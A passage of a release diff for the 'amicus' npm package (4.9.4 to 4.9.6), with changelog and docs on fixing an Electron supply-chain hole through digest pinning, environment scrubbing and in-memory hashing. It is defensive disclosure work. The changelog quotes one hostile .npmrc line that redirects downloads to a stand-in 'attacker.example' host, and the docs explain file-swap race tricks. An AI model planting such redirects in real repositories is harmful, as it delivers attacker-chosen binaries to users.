amicus 4.9.4 → 4.9.6

package/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "amicus",
-  "version": "4.9.4",
+  "version": "4.9.6",
   "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
   "author": {
     "name": "Christian Wagner"

package/CHANGELOG.md

@@ -3,6 +3,174 @@
 All notable changes to Amicus are documented here. Format follows
 [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow semver.
 
+## [4.9.6] - 2026-09-08
+
+*Amicus never itself writes, or reports as verified, bytes it did not hash.*
+
+v4.9.5 hashed the Electron artifact **at a path** and then handed **that path** to an extractor,
+which re-opened it. Anyone able to write the Electron cache directory — running as the same user —
+could substitute the bytes in between, and the swapped archive was extracted and launched. Three
+remedies were tried and two were defeated by measurement before one held; the failures are recorded
+below because they are the useful part.
+
+### Security
+
+- **The artifact is read once, into memory, and never re-opened (#237).** One `open`, `fstat` on the
+  descriptor rather than `stat` on the name, positional reads into a single Buffer, sha256 over
+  **that Buffer**, extraction from **that Buffer**. There is no second path resolution left to race:
+  instrumenting every path-taking call across a full repair records exactly one `openSync` of the
+  artifact, and poisoning the file on disk afterwards cannot alter the hashed bytes. Both the cached
+  and the downloaded routes go through it.
+
+  **What was tried first, and why it failed** — because "we staged it privately" is the intuition
+  this release exists to correct:
+  - *Rename into a private directory.* A rename moves a directory **entry**, not an inode. An
+    attacker who hard-links the cache entry keeps a name for the same bytes and writes through it
+    after the rename.
+  - *Copy into a `0700` directory under the system temp.* `0700` excludes **other** users, not the
+    one the threat model actually assumes. Worse in practice: the directory prefix was fixed and
+    discoverable on a first `readdir`, and on Windows the `chmod` was skipped entirely, so the mode
+    was never even attempted.
+  - *A retained file descriptor.* Not custody either: a same-user `writeFileSync` truncates and
+    rewrites the **same inode**, and the held descriptor then reads the substituted bytes.
+
+- **The last-resort Electron installer is deleted.** It performed its own download and extraction,
+  bypassing every control this release adds; it pinned checksums out of the **scanned** directory,
+  reopening the anchor hole v4.9.5 closed; and it extracted with no stall bound at all. Its one
+  claimed justification — that amicus's dependency tree might fail to resolve `@electron/get` where
+  Electron's own tree succeeds — was measured false from both resolution paths.
+
+- **A native-extractor rescue exists, but only behind `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`.** Every
+  OS extractor takes a **path**, so using one means writing bytes down and letting a child process
+  open them — the exact custody the rest of this release establishes. That trade is available only
+  under a flag whose documented meaning is already "I accept Electron bytes amicus cannot vouch
+  for", it is announced on stderr **before** the child is spawned in the terms above rather than as
+  a safe operation, and its result is always marked `unverified` even when the artifact's own sha256
+  matched. It fires on one classified failure — the extractor's positive "this archive is bad"
+  verdict — and on nothing else: a path-traversal refusal stays terminal and does not even mention
+  the flag, because inviting a retry would be laundering a security refusal through a human.
+
+- **`yauzl` is now a declared dependency.** It previously resolved only through `extract-zip`, which
+  is the shape of the v4.5.2 outage this project already recorded.
+
+- **The repo-plantable Electron mirror names are scrubbed around amicus's own in-process download**,
+  not only the (now removed) child spawn. Measured against the installed library rather than
+  assumed: on the pinned route all twenty reads land inside the scrub window and none after. A
+  contract test re-runs that measurement on every suite run, so a library that moves a read past an
+  `await` fails here rather than in the field.
+
+### Fixed
+
+- **A promote can no longer cost you a working install.** `path.txt` is written **first**, while
+  `dist/` is still whole — its value never depended on the new tree — and a failure there refuses
+  the promote instead of leaving a replacement Electron the npm entry point cannot resolve. A
+  `path.txt` naming another platform's executable (an `npm_config_platform` cross-install) is
+  captured and restored on every failure exit.
+- **The in-memory extraction is bounded and actually stops.** The idle bound arms on **bytes the
+  destination accepted**, so a single large file on slow storage is not mistaken for a stall, and
+  firing it aborts the pipeline rather than merely reporting a failure while the work continues.
+- **Extraction litter is swept.** Incoming and retired trees from an interrupted promote no longer
+  accrete in the Electron package.
+
+### Known limits, stated rather than implied
+
+- **The symlink handling is unverified on macOS and Linux.** The darwin artifact is an `.app` bundle
+  containing real symlinks, and the target-escape check added here is a behaviour `extract-zip` does
+  not have — it could reject a layout that previously worked. It could not be exercised on the
+  machine this was built on.
+- Peak memory during a repair rises to roughly 210–260 MB, floored at the artifact size.
+- Unchanged from v4.9.5: `registry=` in a hostile `.npmrc` dominates every control here and amicus
+  cannot close it; Electron's own npm postinstall runs before any amicus code; nothing verifies the
+  binary at launch — this closes acquisition, not custody of what is already installed; and where no
+  published digest covers an artifact at all, those bytes are extracted and marked `unverified`
+  rather than refused.
+- Three findings from the final review are deferred to 4.9.7 and filed in `BACKLOG.md`: a failed
+  `dist` retirement can still delete a working install whose `path.txt` names another platform's
+  executable; a truncated archive whose entry names cannot be read reaches the native rescue; and
+  the rescue's cleanup does not reach writes a native tool makes outside its own directory.
+
+## [4.9.5] - 2026-09-07
+
+*A repository you cloned could choose which bytes became your Electron.*
+
+npm exports an `.npmrc` key it does not recognise to every child process it spawns, so a repository
+containing one line — `electron_mirror=http://attacker.example/evil/` — reaches `npx -y amicus@latest`
+as `npm_config_electron_mirror`. `@electron/get` reads that name **above** its own default
+(`artifact-utils.js`), and validates the download against a `SHASUMS256.txt` fetched from the *same*
+redirected host, so the checksum verified the attacker's file against the attacker's checksum. Amicus
+passed no digest of its own. Amicus's own skills, troubleshooting page and Claude Code registration
+all invoke it as `npx -y amicus@latest`, whose npm prefix is whatever directory you are sitting in.
+Amicus then launches the extracted binary for the GUI. Every link was measured, end to end.
+
+### Security
+
+- **The Electron artifact is now pinned to the digest Electron publishes, on both routes (#236).**
+  Four controls, each independently testable:
+  - **The download carries `checksums`**, read from `checksums.json` inside the Electron npm package —
+    the same anchor Electron's own installer uses. With a digest supplied, `@electron/get` writes a
+    **local** `SHASUMS256.txt` and never fetches one, so a redirected mirror can still serve bytes but
+    they must match what Electron published. This is the control that breaks the chain.
+  - **A cached artifact is hashed before it is extracted.** That route runs *first* — on every
+    `npm install -g amicus`, on first GUI use, and on `doctor --fix` — and previously accepted any
+    file with the right name from any subdirectory of a cache root, with no verification of any kind.
+    A mismatch is refused and the file removed; the removal is fenced through the repo's own realpath
+    fence and a basename check, so it is strictly narrower than the unconditional delete it replaces.
+  - **The Electron installer's environment is scrubbed.** The last-resort path spawns Electron's own
+    `install.js`, which honours the mirror *and* a remote-checksum override; without this, pinning the
+    in-process download would merely have funnelled an attacker into an unpinned downloader. Every
+    repo-plantable `npm_config_electron_*` / `npm_package_config_electron_*` name is removed —
+    case-insensitively, because a repo `package.json` `config` key reaches the child with its case
+    preserved — along with `npm_config_platform` and `npm_config_arch`, which choose *which* artifact
+    that installer fetches. `ELECTRON_INSTALL_PLATFORM` / `_ARCH` are pinned to amicus's own resolution.
+  - **An archive refused for path traversal is terminal.** `robustExtract` treated extract-zip's own
+    "invalid relative path" / "absolute path" refusals exactly like a stall: clean the directory and
+    re-run the same archive through an OS extractor amicus does not control. Such a refusal now throws
+    `UNZIP_UNSAFE_ARCHIVE`, is not retried at either call site, and the file is kept as evidence rather
+    than deleted. A **stall** still falls back — that fallback is the Node-24 workaround this module
+    exists for, and a test pins the distinction.
+
+  The digest anchor is read from the **running amicus's own** Electron package in preference to the
+  directory being repaired. That is load-bearing rather than tidy: `doctor --fix` hands the repair a
+  directory found by scanning npx caches, and reading the digest out of the same directory the bytes
+  came from would have let it vouch for itself — measured, before the fix, as `repaired: true` over
+  bytes reading `POISONED-BYTES`.
+
+  One documented escape hatch, `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`, exists for the one legitimate
+  case (you deliberately run a rebuilt Electron). It is a bare environment name, which a repository
+  cannot plant; it accepts a contradicting cached artifact and drops the pin on a download; it
+  re-enables nothing else. Bare `ELECTRON_MIRROR` stays honoured — that spelling is not
+  repo-injectable, so it carries the machine owner's intent, and the digest is enforced either way.
+
+- **What this does NOT close, stated plainly.** `registry=` in a hostile `.npmrc` dominates every
+  control above: under `npx`, amicus itself, the Electron tarball and its `checksums.json` would all
+  come from the attacker, and the pin would then faithfully vouch for attacker bytes. Electron's own
+  npm postinstall runs with the hostile environment live, before any amicus code executes. Nothing
+  verifies `dist/electron.exe` at launch — this closes acquisition, not custody. Extraction output is
+  still not fenced, and the extractor still reports success when any file lands. And where **no**
+  published digest covers an artifact — an Electron package with no `checksums.json`, or one whose own
+  metadata names a version amicus holds no entry for — there is nothing to contradict: those bytes are
+  extracted and marked `unverified` rather than refused, because refusing would strand every older
+  Electron in a re-download loop. Run `npx -y amicus@latest` from a directory you trust.
+
+### Fixed
+
+- **Three advisories that reached the published dependency tree.** `fast-uri` (two high, SSRF) via
+  `@modelcontextprotocol/sdk` → `ajv`, and `qs` (moderate) via the same SDK → `express`. Fixed by a
+  targeted update of exactly those two packages and their own closure — five lockfile entries — rather
+  than `npm audit fix`, which wanted to move 31 packages, almost all of them puppeteer's dev tree
+  including a major. `extract-zip`, the remaining production-tree advisory, has no fixed version at
+  any release and is addressed by the trust work above instead of by a bump.
+- **Two records that asserted things that were not true.** The released 4.9.4 notes said "Twenty-four
+  probe rows" and "the full 61-case matrix", both stale at the tag — M23 joined the M group during
+  council #235 round 3 without the matrix being re-run, so the group is twenty-five rows and the filed
+  matrix is 62 cases, which the BACKLOG already said while the CHANGELOG contradicted it. And the
+  backlog's own audit filing recorded `extract-zip` as dev-only "via puppeteer"; it is a direct
+  production dependency, and calling it dev-only is exactly the reasoning that would have let it sit.
+- **`docs/ROADMAP.md`'s status lines are now pinned in the release commit.** They ship in the npm
+  tarball and they are a factual claim about the current version, but they were updated in the
+  post-ship pass, which runs *after* the tag — so every published package has named the previous
+  release. `v4.9.4`'s roadmap says "v4.9.3"; `v4.9.3`'s says "v4.9.0". Verified across three tags.
+
 ## [4.9.4] - 2026-09-07
 
 *The effort level was never on the wire, and the budget stopped at the routes the catalog could clamp.*
@@ -125,9 +293,9 @@ provider, so the pinned engine's outbound fields can be read under each shape Am
   error, a dead engine) sends the level unverified after ONE read, and the log line says so. `max`
   joins the vocabulary (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max` — the levels the
   curated routes declare between them, M0). The level SENT rides the run document (`variant`), the
-  spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-four probe
-  rows (M0–M17 and M22, plus M18–M21 through amicus's own `sendPrompt`) measured every shape this
-  ships — the full 61-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
+  spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-five probe
+  rows (the M group; M18-M21 driven through amicus's own `sendPrompt`) measured every shape this
+  ships — the full 62-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
   M2, M10b and M17. Council seats have no effort knob in this release (filed as the owner's
   decision).
 

package/README.md

@@ -455,7 +455,7 @@ $ amicus status demo123 --json
   "taskId": "demo123",
   "status": "complete",
   "elapsed": "5m 0s",
-  "version": "4.9.4",
+  "version": "4.9.6",
   "model": "google/gemini-2.5-flash",
   "phase": "terminal"
 }

package/docs/ROADMAP.md

@@ -13,11 +13,13 @@ lives under **Backlog (tracked, not scheduled)** with everything else that is re
 Nothing about the content changed and no judgment about its value is implied; only its status. When
 an org buyer and the org to support them exist, it earns a number then.
 
-Amicus is at **v4.9.3** (2026-08-28). Each 4.x rev below leads with the benefit, not the
-plumbing; the patch releases since v4.9.0 carry no section of their own, because they fixed
-defects rather than adding scope — see `CHANGELOG.md` for what each one contained.
+Amicus is at **v4.9.6** (2026-09-08). Each 4.x rev below leads with the benefit, not the
+plumbing; the patch releases since v4.9.0 carry no section of their own, because each corrected a
+defect rather than adding scope — where one added a surface (v4.9.4's `--thinking` refusals and
+`output-budget` doctor row, v4.9.5's Electron digest gate, v4.9.6's artifact custody) it did so to
+make an existing promise true, not to widen it. See `CHANGELOG.md` for what each one contained.
 
-**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.3 patch releases —
+**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.6 patch releases —
 everything on this page is a record of what landed, not a plan. Composition — the scope that
 carried the number v4.6 here until the degrade-announcement-invariant milestone took the v4.6.0
 release (2026-08-02) — is now an unscheduled candidate for the next rev, tabled in its own section

package/docs/architecture-map.md

@@ -109,11 +109,21 @@ src/
 │   ├── conversation-mirror.js
 │   ├── crash-handler.js  # Crash Handler - Updates metadata to 'error' on uncaught exceptions
 │   ├── electron-cache.js  # Electron download-cache root resolution (#53 helper).
+│   ├── electron-custody.js  # CUSTODY of the Electron artifact: one open, one read, one Buffer.
 │   ├── electron-ensure.js  # ensureElectron() — lazy first-GUI provisioning (#55).
+│   ├── electron-env-scrub.js  # The ENV SCRUB — which environment names a hostile REPOSITORY can plant.
 │   ├── electron-install.js  # Electron self-heal primitive (#53, #59).
+│   ├── electron-layout.js  # The on-disk LAYOUT of an installed `electron` package: where the executable
 │   ├── electron-lock.js  # Stale-aware single-flight lock for the electron self-heal (#53).
+│   ├── electron-native-plan.js  # THE MECHANICS OF A RESCUE: write the verified buffer down, walk the platform's
+│   ├── electron-native-rescue.js  # THE NATIVE-EXTRACTOR RESCUE — the one way an archive amicus's own extractor
+│   ├── electron-provision.js  # Electron CONTROLLED provision — the pinned download, and the fence that says
 │   ├── electron-quarantine.js  # AV / antivirus quarantine detection for the electron self-heal (#53).
+│   ├── electron-refuse.js  # Electron artifact REFUSALS — the ways amicus declines to turn bytes into an
+│   ├── electron-repair-cache.js  # ATTEMPT 1 of the electron self-heal: turn a CACHED artifact into a `dist/`,
+│   ├── electron-rescue-notice.js  # THE TWO NOTICES the native-extractor rescue speaks — the offer a parse failure
 │   ├── electron-state.js  # Electron install-state probes (#76).
+│   ├── electron-trust.js  # Electron artifact TRUST core — the digest anchor and the gate. (The third
 │   ├── fallback-chains.js
 │   ├── fanout-budget.js
 │   ├── fanout-leg-fallback.js
@@ -153,7 +163,11 @@ src/
 │   ├── unzip.js  # Robust unzip for the electron self-heal (#53 follow-up; extract-zip-node24).
 │   ├── wave-progress.js
 │   ├── workspace-auto-open.js  # Workspace Auto-Open Decision Helper
-│   └── workspace-window.js  # Council Workspace launcher (v4.4 §4.3/§4.4) — setup-window.js pattern:
+│   ├── workspace-window.js  # Council Workspace launcher (v4.4 §4.3/§4.4) — setup-window.js pattern:
+│   ├── zip-entry-write.js  # ONE ENTRY of an in-memory archive, and the classified failures every caller
+│   ├── zip-from-buffer.js  # Extract an archive that is ALREADY IN MEMORY and ALREADY HASHED.
+│   ├── zip-name-scan.js  # WHAT NAMES DOES THIS ARCHIVE DECLARE? A read-only walk of the central
+│   └── zip-stall-bound.js  # WHEN AMICUS GIVES UP ON AN IN-MEMORY EXTRACTION, and how it stops the work.
 ├── template/
 │   ├── apply.js
 │   ├── render.js
@@ -548,12 +562,22 @@ evals/
 | `sidecar/continue.js` | Sidecar Continue Operations - Handles continuing from previous sessions | `loadPreviousSession()`, `buildContinuationContext()`, `createContinueSessionMetadata()`, `continueSidecar()` |
 | `sidecar/conversation-mirror.js` |  | `createMirrorState()`, `mirrorMessages()`, `logMessage()`, `mirrorUsageOnly()`, `allAssistantUsagePresent()` |
 | `sidecar/crash-handler.js` | Crash Handler - Updates metadata to 'error' on uncaught exceptions | `installCrashHandler()` |
-| `sidecar/electron-cache.js` | Electron download-cache root resolution (#53 helper). | `resolveCacheRoots()`, `defaultCacheRoot()` |
+| `sidecar/electron-cache.js` | Electron download-cache root resolution (#53 helper). | `resolveCacheRoots()`, `defaultCacheRoot()`, `cachedZip()` |
+| `sidecar/electron-custody.js` | CUSTODY of the Electron artifact: one open, one read, one Buffer. | `readArtifactBytes()`, `isSafeArtifactName()`, `MAX_ARTIFACT_BYTES()`, `READ_CHUNK()` |
 | `sidecar/electron-ensure.js` | ensureElectron() — lazy first-GUI provisioning (#55). | `ensureElectron()`, `_resetEnsureElectron()` |
+| `sidecar/electron-env-scrub.js` | The ENV SCRUB — which environment names a hostile REPOSITORY can plant. | `isRepoPlantedName()`, `withScrubbedRepoEnv()`, `REPO_ENV_PREFIXES()` |
 | `sidecar/electron-install.js` | Electron self-heal primitive (#53, #59). | `resolveElectronBinary()`, `isElectronUsable()`, `cachedZip()`, `repairElectron()`, `platformExe()` |
+| `sidecar/electron-layout.js` | The on-disk LAYOUT of an installed `electron` package: where the executable | `platformExe()`, `writePathTxt()`, `promoteDist()`, `extractBytesToDist()`, `sweepPromoteLitter()` |
 | `sidecar/electron-lock.js` | Stale-aware single-flight lock for the electron self-heal (#53). | `acquireRepairLock()`, `isStaleLock()`, `lockPathFor()`, `STALE_MS()` |
+| `sidecar/electron-native-plan.js` | THE MECHANICS OF A RESCUE: write the verified buffer down, walk the platform's | `nativeRescue()`, `RESCUE_ZIP()`, `INCOMING_PREFIX()` |
+| `sidecar/electron-native-rescue.js` | THE NATIVE-EXTRACTOR RESCUE — the one way an archive amicus's own extractor | `withNativeRescue()`, `isRescuableFailure()`, `RESCUE_TRIGGER()`, `RESCUE_ZIP()`, `INCOMING_PREFIX()` |
+| `sidecar/electron-provision.js` | Electron CONTROLLED provision — the pinned download, and the fence that says | `cacheRootFor()`, `controlledProvision()`, `mayDeleteRejectedZip()` |
 | `sidecar/electron-quarantine.js` | AV / antivirus quarantine detection for the electron self-heal (#53). | `avHint()`, `quarantineReason()`, `verifyExtractOutcome()` |
+| `sidecar/electron-refuse.js` | Electron artifact REFUSALS — the ways amicus declines to turn bytes into an | `isUnsafeArchive()`, `refuseUnsafeArchive()`, `rejectCachedZip()`, `rejectDownloadedZip()`, `refuseUnreadableArtifact()` |
+| `sidecar/electron-repair-cache.js` | ATTEMPT 1 of the electron self-heal: turn a CACHED artifact into a `dist/`, | `repairFromCache()` |
+| `sidecar/electron-rescue-notice.js` | THE TWO NOTICES the native-extractor rescue speaks — the offer a parse failure | `offerNativeRescue()`, `announceNativeRescue()` |
 | `sidecar/electron-state.js` | Electron install-state probes (#76). | `electronDirFor()`, `probeElectronState()` |
+| `sidecar/electron-trust.js` | Electron artifact TRUST core — the digest anchor and the gate. (The third | `electronTrustPolicy()`, `resolveAnchor()`, `expectedDigest()`, `verifyArtifactBytes()`, `sha256Bytes()` |
 | `sidecar/fallback-chains.js` |  | `resolveFallbackConfig()`, `deriveChain()`, `vendorOf()`, `DEFAULT_MAX_SUBSTITUTIONS()` |
 | `sidecar/fanout-budget.js` |  | `preflightBudget()` |
 | `sidecar/fanout-leg-fallback.js` |  | `runLegWithFallback()`, `recordAttemptSpend()`, `sumAttemptUsage()` |
@@ -590,10 +614,14 @@ evals/
 | `sidecar/start-metadata.js` |  | `createSessionMetadata()` |
 | `sidecar/start.js` | Sidecar Start Operations - Handles starting new sidecar sessions | `generateTaskId()`, `createSessionMetadata()`, `buildMcpConfig()`, `checkElectronAvailable()`, `runInteractive()` |
 | `sidecar/tool-part.js` |  | `TERMINAL_TOOL_STATUSES()`, `LIVE_TOOL_STATUSES()`, `isToolPart()`, `toolPartName()`, `toolPartInput()` |
-| `sidecar/unzip.js` | Robust unzip for the electron self-heal (#53 follow-up; extract-zip-node24). | `robustExtract()`, `nativeUnzipPlan()`, `IDLE_MS()`, `MAX_MS()` |
+| `sidecar/unzip.js` | Robust unzip for the electron self-heal (#53 follow-up; extract-zip-node24). | `robustExtract()`, `nativeUnzipPlan()`, `IDLE_MS()`, `MAX_MS()`, `UNSAFE_PATTERNS()` |
 | `sidecar/wave-progress.js` |  | `formatWaveProgress()`, `readLegState()`, `createWaveHeartbeat()`, `WAVE_HEARTBEAT_INTERVAL()` |
 | `sidecar/workspace-auto-open.js` | Workspace Auto-Open Decision Helper | `shouldAutoOpenWorkspace()` |
 | `sidecar/workspace-window.js` | Council Workspace launcher (v4.4 §4.3/§4.4) — setup-window.js pattern: | `launchWorkspaceWindow()`, `launchWorkspaceWindowDetached()` |
+| `sidecar/zip-entry-write.js` | ONE ENTRY of an in-memory archive, and the classified failures every caller | `failure()`, `badArchive()`, `badDestination()`, `outOfBound()`, `extractorUnavailable()` |
+| `sidecar/zip-from-buffer.js` | Extract an archive that is ALREADY IN MEMORY and ALREADY HASHED. | `extractZipBuffer()` |
+| `sidecar/zip-name-scan.js` | WHAT NAMES DOES THIS ARCHIVE DECLARE? A read-only walk of the central | `scanEntryNames()`, `nameRefusal()`, `SCAN_MS()`, `MAX_ENTRIES()` |
+| `sidecar/zip-stall-bound.js` | WHEN AMICUS GIVES UP ON AN IN-MEMORY EXTRACTION, and how it stops the work. | `IDLE_MS()`, `MAX_MS()`, `UNWIND_MS()`, `stalled()`, `awaitUnwind()` |
 | `template/apply.js` |  | `applyTemplate()`, `ARTIFACT_CAP_BYTES()` |
 | `template/render.js` |  | `renderTemplate()`, `KNOWN_VARIABLES()` |
 | `template/store.js` |  | `templatesDir()`, `resolveTemplate()`, `listTemplates()`, `BUILTIN_TEMPLATES()` |

package/docs/configuration.md

@@ -343,6 +343,103 @@ These variables control the polling loop that drives headless sessions. The defa
 | `AMICUS_GUI_LOAD_TIMEOUT_MS` | Maximum wait in milliseconds for the Electron UI to load before the load-failsafe fires. If the OpenCode web UI fails to respond within this window, Amicus shows a load-error page instead of hanging invisibly. | `15000` |
 | `AMICUS_DEBUG_PORT` | Chrome DevTools Protocol port for the Electron window. Increment (e.g. `9223`) to avoid conflicts with a running Chrome or another Amicus window. | `9222` |
 | `AMICUS_MOCK_UPDATE` | Mock the update-notification state for UI development. Values: `available` \| `updating` \| `success` \| `error`. Has no effect outside development. | *(unset)* |
+| `AMICUS_ALLOW_UNVERIFIED_ELECTRON` | Accept an Electron artifact whose sha256 does **not** match the digest Electron publishes for it, with a loud warning on every use instead of a refusal, **and** arm the native-extractor rescue for an archive amicus cannot read (below). On a **cached** artifact it downgrades the refusal to a warning; on a **download** it also drops the published-digest pin, so `@electron/get` falls back to the `SHASUMS256.txt` of whatever mirror you pointed it at — without that, a legitimately rebuilt Electron could never be fetched at all, only accepted if it was already in a cache root. For two cases only: you deliberately run a **rebuilt** Electron whose bytes legitimately differ, or amicus cannot read an archive at all and you have no other copy of it. True for the exact string `1` — `true`, `yes` and ` 1` are all false, because a hatch that fails open on a typo is not a hatch. | *(unset)* |
+
+> **What `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not do.** It arms exactly the two
+> things this page describes — the digest relaxation in the table above, and the
+> native-extractor rescue in the blockquote below — and re-enables nothing beyond
+> them. `npm_config_electron_mirror`, `npm_package_config_electron_*`
+> and `npm_config_electron_use_remote_checksums` are stripped from the
+> environment while amicus works out **where the artifact comes from**, whether
+> this variable is set or not — those are the names a *repository* can plant
+> through its own `.npmrc` or `package.json`, which is why this variable is a
+> plain environment variable read
+> under that exact bare spelling only: a repo-planted
+> `npm_config_amicus_allow_unverified_electron` reads back as unset. (`platform`
+> and `arch` are no longer scrubbed anywhere, because there is no longer a child
+> installer to hand an environment to: amicus's downloader takes them as
+> arguments, so no environment name can choose which artifact is fetched.) It also does not change where the download comes from — a real
+> `ELECTRON_MIRROR` environment variable is honoured exactly as before, set or
+> unset. What it *does* relax, deliberately and on both routes, is the digest:
+> with it set, a cached artifact that contradicts Electron's published sha256 is
+> accepted with a warning, and a download is no longer pinned to that sha256
+> (`@electron/get` then trusts the `SHASUMS256.txt` served alongside the artifact).
+> Leave it unset and the published digest is enforced on both routes.
+
+> **The second thing it arms: the native-extractor rescue, and the window that
+> opens.** Amicus extracts the Electron archive **in memory**, from the buffer it
+> hashed — nothing is written to a path and handed to anything else, which is what
+> makes "amicus only ever writes bytes it hashed" true. The cost is that an
+> archive its own extractor cannot read has nowhere else to go: normally that is a
+> failed repair and a re-download, and on an air-gapped machine there is no
+> re-download, so it is the end of the road. With this variable set, that one
+> failure gets a rescue: amicus writes the bytes it hashed into a private
+> directory inside the Electron package and hands **that path** to a native
+> extractor (`tar` / `Expand-Archive` on Windows, `ditto` / `unzip` on macOS,
+> `unzip` / `tar` on Linux). **Between amicus writing that file and the child
+> process opening it, anything running as your user can replace it, and whatever
+> the child extracts is promoted into `dist/` without being hashed again.** That
+> is not a safe operation; it is the trade this variable buys, and amicus prints
+> the whole of it on stderr before it spawns anything. A rescued install is always
+> reported `unverified`, even when the artifact's own sha256 matched, because what
+> reached `dist/` is no longer what amicus hashed.
+>
+> The rescue is deliberately narrow. It fires **only** when amicus's extractor
+> positively identified the archive as unreadable — the same verdict that lets it
+> discard a corrupt cached artifact, which is why that discard now waits: with
+> this variable unset, amicus prints the offer of this rescue and **keeps** the
+> cached archive, and only discards it once the rescue has run and every native
+> extractor has failed on it too. A **path-traversal refusal** (`REFUSED
+> (unsafe archive)`) is terminal and this variable does not apply to it, a
+> **stall** is not a rescue trigger (the timeout exists to stop work, not to hand
+> it to a child process), a **digest mismatch** is not one either (the bytes are
+> known wrong, so there is nothing to rescue — even though this same variable let
+> them reach the extractor), and neither is a destination failure such as a full
+> disk. With the variable unset, an unreadable archive fails with a message that
+> names this variable and says what it would do, so you do not have to read the
+> source to find it.
+>
+> **What "path-traversal refusals are excluded" does and does not buy you.** That
+> exclusion keys on the refusal amicus's extractor *formed*, and an archive can
+> stop it forming one: yauzl checks an entry's size before its name, so one bad
+> entry early in the archive ends the walk before any later name is looked at.
+> Measured — the same three-entry archive, one flag bit apart — that moves it out
+> of the terminal class and into the rescuable one. Amicus therefore also **reads
+> the archive's central directory and refuses any entry name yauzl would have
+> refused**, before it hands anything to a native extractor. Two residuals
+> survive, and neither is engineered away:
+>
+> - An archive whose **central directory cannot be read at all** — a truncated
+>   zip, which is the commonest thing this rescue exists for — declares no names
+>   amicus can see, and it still goes to the native extractor. The only remaining
+>   check is that extractor's own. `tar` and `Expand-Archive` were measured to
+>   refuse a `..` entry themselves (`tar.exe`: `Path contains '..'`, exit 1;
+>   `Expand-Archive`: `Can not process invalid archive entry '…'`; nothing written
+>   outside the destination in either case). **`ditto` and Info-ZIP `unzip`, the
+>   macOS and Linux strategies, are unmeasured.**
+> - A **symlink whose target escapes** the extraction root is a payload, not a
+>   name, so no name scan can see it. Amicus's own in-memory extractor refuses
+>   those; a native extractor is not asked to.
+>
+> Amicus cleans up only *inside* the directory it asked the extractor to write to,
+> so anything a native tool wrote outside it would survive a failed strategy. This
+> is the concrete shape of "not a safe operation": if the archive came from
+> somewhere you do not trust, do not set this variable — get another copy.
+>
+> **The one thing the strip does not cover, stated precisely** (measured against
+> `@electron/get` 5.0.0, and re-measured by
+> `tests/electron-env-scrub-get5-contract.test.js` on every test run). Every read
+> that decides the artifact's URL happens while those names are stripped — with a
+> mirror planted, the download still goes to the official
+> `github.com/electron/electron/releases/download/…`. But when **no digest is
+> pinned** — either this variable is set, or your Electron package ships no
+> `checksums.json` entry — `@electron/get` fetches a `SHASUMS256.txt` of its own,
+> *after* the names have been restored, and a planted mirror is read again for
+> that one fetch. It cannot change which bytes you get, because the artifact's
+> URL was already settled: it can only serve a checksum file that disagrees with
+> the official artifact, which makes the download **fail**. Unset the planted
+> names (or the variable) if an unpinned download fails checksum validation on a
+> machine whose `.npmrc` names an Electron mirror.
 
 ---
 

package/docs/troubleshooting.md

@@ -396,6 +396,136 @@ unverified, with `variantUnverified: true` on the leg document.
 - **Manual install (most reliable):** on a machine/network with direct access, run any `amicus start` once to populate the Electron cache, then copy the cache directory to the target machine — `%LOCALAPPDATA%\electron\Cache` (Windows), `~/Library/Caches/electron` (macOS), `$XDG_CACHE_HOME/electron` or `~/.cache/electron` (Linux). Amicus reuses a valid cached binary without re-downloading.
 - **Point at your own mirror:** set `ELECTRON_MIRROR` (and `ELECTRON_CUSTOM_DIR` if needed) to an internal Electron mirror that is reachable without a proxy.
 - Headless runs and the full council never need Electron — use `--no-ui` if the GUI is not required.
+- Run `npx -y amicus@latest` from a directory you trust. `npx` inherits the `.npmrc` and `package.json` of whatever directory you are standing in, so an untrusted clone can point package downloads at a host of its choosing.
+
+---
+
+## Electron Artifact REFUSED (digest mismatch)
+
+**Symptom:** provisioning stops and stderr carries a block like:
+
+```
+[amicus] Electron artifact REFUSED: electron-v43.1.1-win32-x64.zip
+[amicus]   C:\Users\me\AppData\Local\electron\Cache\<sha>\electron-v43.1.1-win32-x64.zip
+[amicus]   sha256 3f2a... does not match the published b4e9...
+[amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO
+[amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT
+[amicus] electron looks like — amicus cannot tell them apart.
+[amicus] If you deliberately run a REBUILT electron, set
+[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — ...
+[amicus]   The file has been removed: re-copy it from the machine that downloaded it ...
+```
+
+The refused bytes are never extracted, so no Electron is installed *from them*. What you see afterwards depends on which path hit the refusal:
+
+- **`npm install` (offline by design)** repeats the refusal reason in its notice and stops there — it never downloads.
+- **`amicus doctor --fix` and first GUI use** re-download the artifact with the digest pinned, so a one-off bad file self-heals and is reported as installed. Only when that retry cannot rescue it — no network, or the fresh download fails too — does `doctor` repeat the refusal reason instead of its generic "not provisioned".
+
+**Cause:** the bytes do not match the sha256 Electron itself publishes for that artifact (`node_modules/electron/checksums.json`). Amicus reads the artifact **once**, into its own memory, and everything after that — the sha256, the extraction — acts on those bytes and never on the file again: one `open`, one buffer, no second look at any path. So bytes that *contradict* a published digest never become an Electron install, and nothing on disk can be swapped between the hash and the extract, because after the read there is no path in play at all. Both routes work this way, the cached artifact and the fresh download. Where no published digest covers the artifact at all — an Electron package that ships no `checksums.json`, or one whose own `package.json` names a version amicus holds no entry for — there is nothing to contradict, and nothing to pin a download to: those bytes are extracted and the outcome is marked `unverified` rather than refused, because refusing would strand every older Electron in a re-download loop. That mark is not decorative: `npm install` prints a note when it installs one, the GUI says so on the launch that provisions it, and `amicus doctor --fix` names it in its self-heal line. **The mark covers the other unverified case too** — an artifact whose sha256 *contradicts* the published one and was installed anyway because 